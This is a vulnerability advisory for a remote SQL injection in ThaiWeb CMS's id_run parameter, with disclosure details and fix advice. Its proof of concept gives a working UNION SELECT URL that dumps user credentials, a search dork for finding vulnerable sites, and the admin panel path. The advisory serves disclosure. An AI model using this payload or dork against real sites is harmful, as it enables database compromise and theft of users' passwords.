Document Title:

ThaiWeb CMS 2015Q3 - SQL Injection Web Vulnerability

References (Source):

http://www.vulnerability-lab.com/get_content.php?id=1555

Release Date:

2015-07-23

Vulnerability Laboratory ID (VL-ID):

1555

Common Vulnerability Scoring System:

8.6

Product & Service Introduction:

THAIWEB.network is a network since Nov 1998, and reborn again in Aug 2003. We provide stable servers for our own usage.
We are located in Bangkok Thailand. Our systems are based on UNIX system and opensource approach.

We believe in sharing knowledge, and we hope our knowledge will help everyone developing and becoming a higher standard.
We hope to see Thai web builders upgrading themselves to become a professional living in the big world of internet internationally.

(Copy of the Vendor Homepage: http://www.thaiweb.net/ )

Abstract Advisory Information:

An independent vulnerability laboratory researcher discovered a remote sql injection web vulnerability in the official ThaiWeb content management system.

Vulnerability Disclosure Timeline:

2015-07-23: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Published

Affected Product(s):

ThaiWeb Network
Product: ThaiWeb - Web Application 2015 Q3

Exploitation Technique:

Remote

Severity Level:

Critical

Technical Details & Description:

A remote sql injection web vulnerability has been discovered in the official ThaiWeb content managament system?(web-application).
The vulnerability allows remote attackers to execute own sql commands to compromise the web-applicaation or database management system.

The vulnerabilities are located in the id_run value of the `index.php` file. Remote attackers are able to execute own sql commands by manipulation
of the GET method request with the vulnerable id_run parameter. The request method to inject the sql command is GET and the location of the issue
is application-side.

The security risk of the sql injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.6.
Exploitation of the remote sql injection web vulnerability requires no user interaction or privilege web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.

Request Method(s):
[+] GET

Vulnerable File(s):
[+] index.php

Vulnerable Parameter(s):
[+] id_run

Proof of Concept (PoC):

The remote sql injection web vulnerability can be exploited by remote attackers without privilege application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Google Dork: Powered by ThaiWeb

PoC:
http://localhost:8080/index.php?Content=product&id_run=[ID]'[SQL INJECTION VULNERABILITY!]
http://localhost:8080/index.php?Content=product&id_run=-12+union+select+1,2,3,group_concat%28user,0x3a,pws%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+user--

Admin Page: # site.com/_adminP/

Solution - Fix & Patch:

The security vulnerability can be patched by a secure parse and encode of the vulnerable id_run parameter value in the index.php file.
Restrict the input and use a prepared statement to secure the sql statement request via GET method.

Security Risk:

The security risk of the remote sql injection web vulnerability in the id value is estimated as high. (CVSS 8.6)

Credits & Authors:

Iran Cyber Security Group - Pi.Hack (www.Iran-Cyber.Org)
Thanks To: root3r | MOHAMAD-NOFOZI | KamraN HellisH | JOK3R | WH!T3_W01F | CRY$I$ BL4CK | And All Members Of Iran-Cyber.Org

Disclaimer & Information:

The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: [email protected] - [email protected] - [email protected]
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
([email protected] or [email protected]) to get a permission.

			Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™

– VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: [email protected] PGP KEY: http://www.vulnerability-lab.com/keys/[email protected]%280x198E9928%29.txt